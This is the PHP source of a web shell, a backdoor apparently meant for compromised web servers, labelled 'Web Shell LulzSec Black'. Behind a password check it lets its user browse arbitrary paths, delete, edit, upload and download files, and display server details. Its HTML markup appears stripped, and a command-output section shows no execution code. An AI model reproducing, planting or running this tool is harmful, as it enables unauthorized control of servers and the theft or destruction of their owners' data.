if (!isset($_SESSION['authenticated'])) {
if (isset($_POST['pass']) && $_POST['pass'] === $auth_pass) {
$_SESSION['authenticated'] = true;
} else {
echo '
Auth';
exit;
}
}
function perms($file) {
$perms = fileperms($file);
$info = ($perms & 0x4000) ? 'd' : '-';
$info .= ($perms & 0x0100) ? 'r' : '-';
$info .= ($perms & 0x0080) ? 'w' : '-';
$info .= ($perms & 0x0040) ? 'x' : '-';
$info .= ($perms & 0x0020) ? 'r' : '-';
$info .= ($perms & 0x0010) ? 'w' : '-';
$info .= ($perms & 0x0008) ? 'x' : '-';
$info .= ($perms & 0x0004) ? 'r' : '-';
$info .= ($perms & 0x0002) ? 'w' : '-';
$info .= ($perms & 0x0001) ? 'x' : '-';
return $info;
}
$cwd = isset($_GET['path']) ? $_GET['path'] : getcwd();
chdir($cwd);
if (isset($_GET['delete'])) {
$target = $_GET['delete'];
if (is_file($target)) unlink($target);
elseif (is_dir($target)) rmdir($target);
}
if (isset($_POST['editfile']) && isset($_POST['content'])) {
file_put_contents($_POST['editfile'], $_POST['content']);
}
if (isset($_FILES['upload'])) {
move_uploaded_file($_FILES['upload']['tmp_name'], $_FILES['upload']['name']);
}
function formatSize($bytes) {
$sizes = ['B', 'KB', 'MB', 'GB'];
$i = 0;
while ($bytes >= 1024 && $i < count($sizes) - 1) {
$bytes /= 1024;
$i++;
}
return round($bytes, 2) . ' ' . $sizes[$i];
}
function goBackLink($path) {
$parent = dirname($path);
return "← Back";
}
echo "Web Shell LulzSec Black";
echo "Web Shell LulzSec Black
";
echo "Current Path: $cwd
" . goBackLink($cwd) . "
";
echo '';
echo '';
if (isset($_POST['cmd'])) {
echo 'Command Output:
';
}
echo "Name | Size | Perms | Actions |
";
foreach (scandir($cwd) as $item) {
$path = realpath($item);
$size = is_file($item) ? formatSize(filesize($item)) : '-';
$perm = perms($item);
echo "$item | $size | $perm | ";
if (is_dir($item)) {
echo "[Open] ";
} else {
echo "[Edit] [Download] ";
}
echo "[Delete] |
";
}
echo "
";
if (isset($_GET['edit'])) {
$file = $_GET['edit'];
$content = htmlspecialchars(file_get_contents($file));
echo "Editing: $file
";
}
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=' . basename($file));
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
}
echo "System Info:";
echo "OS: " . PHP_OS . "\n";
echo "PHP: " . phpversion() . "\n";
echo "User: " . get_current_user() . "\n";
echo "Server IP: " . $_SERVER['SERVER_ADDR'] . "\n";
echo "Client IP: " . $_SERVER['REMOTE_ADDR'] . "\n";
echo "
";
echo "";
?>